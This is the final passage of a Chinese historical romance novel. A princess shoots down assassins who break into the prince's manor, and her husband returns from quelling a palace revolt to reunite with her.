柳瑾瑜摇头示意不必麻烦,她靠在扶手椅背,微阖起眼。
姬时语便不打搅她小憩,轻声离了内室。
萍亭在屋外候着,小声提道:“王妃,林二禀报,说有人擅闯王府,恐要对您不利。”
姬时语十分镇静,“让林二寻
人,调动王府侍卫,护卫两位王爷!”
“是。”
寻阳院外,四周寂静无声。
不多时,一阵隐蔽的脚步声接憧而来,闯入姬时语明亮猫瞳中的,是数位黑衣人。
只是眨眼一晃,黑衣人便跃过院墙,翻身入院。
刀光冷凛,竟比天色还亮。
姬时语立在隔扇门前,提声吩咐灵犀:“你和巧儿入屋,护着柳大小姐。”
“王妃呢?”
宁心和宁乐落下屋檐,两人在姬时语身前站定。
长剑在手,两人一人护着她的一面。
姬时语却朝萍柳递去手心,“取我的弓来。”
萍柳已将金线长弓递上。
一根箭矢上了弓,姬时语拉弓,冷声如同寒风席卷院中。
“任何擅闯楚王府者,格杀勿论!”
“是!”
随着姬时语射出一道呼啸的冷箭,那根箭直中一人的脑门,当场射杀。
宁乐和宁心杀入战场。
萍柳在旁再度拾箭,姬时语接手立刻上弓,拉弦。
嗖嗖嗖——
十根箭,射杀十个人。
手臂感到三分酸痛,姬时语喘口气,缓和砰砰直跳的心。
宁乐和宁心斩杀几人,两人离开姬时语两步之远,回身时突然大喊。
“王妃!”
一人冲着姬时语飞跃而来,长刀一劈。
姬时语眼疾手快,一个拉弓。
“噗哧——”
一步之遥,黑衣人重重落在地上,再无气息。
姬时语大喘气。
是真的手臂痛,疲惫不堪,加之鲜血的腥臭味太烈,刺激的她脑门突突直跳。
肚子里不住痉挛,很想呕吐。
好在在这紧要关头,林二与楚明及时赶到,一众人等几番厮杀,彻底铲除所有闯入寻阳院的爪牙。
直到楚明跪地禀明。
“禀王妃,歹人皆已肃清。”
“好。”
姬时语累得疲软,依靠在隔扇门槛,微喘几口气。
她抬手抚了一把额头,汗渍沾湿她的掌心。
劫后余生,比面对敌众,还要动人心魄。
府外风雨俱来,府上安宁祥和。
“阿锁!”
姬时语听到熟悉的喊声,方一瞥头睨眼,便见江曜已是归府。
江曜衣襟微皱,神情不平,眼中尽是急切。
“江曜!”
姬时语身形先动,她提起衣裙便跨过寻阳院一地的血渍,朝江曜扑去。
在这一刻,很想、很想他。
姬时语倾身入江曜怀中,踮脚便寻上了他的唇。
两人的心意当真是同样,江曜一路奔回王府的焦躁,便只能她来安抚。
托举姬时语的腰,他重重地亲吻她。
难舍难分。
半晌,姬时语莹白的脸泛起微红,猫瞳生出潋滟,江曜便又轻啄她的唇角。
“见你无事,我便安心了。”
“宫中都已解决了吗?”
“平了。”
听江承北死前狂言,放话要迫杀姬时语以慑江曜,江曜当真心中有过一刹那的惶恐。
他可以身死,但不能失去姬时语。
冲回楚王府的那刻,他多怕入府目中所见,是令他惶恐的血色。
他怕自己仍有纰漏,让江承北钻了空子。
唯恐姬时语没能安然地受他的庇护。
那颗疯狂跳动的心,濒于扼息。
可是他看见姬时语持弓自卫,跟前凌落一地的血海尸身。
江曜心口骤然一跳。
“夫君。”
心爱的妻子采撷春光,缓缓走来。
江曜终是一扫阴霾,扬唇轻笑。
是了,阿锁比他想的还要坚韧。
她的笑容明媚,是他一生的不可替代。
从初识起,他不就知道了吗?
这会是他的妻。
屋外狂风摇荡,浮光倾洒,夫妻二人相拥,风浪这一刻停歇-
全文完-【你现在阅读的是 】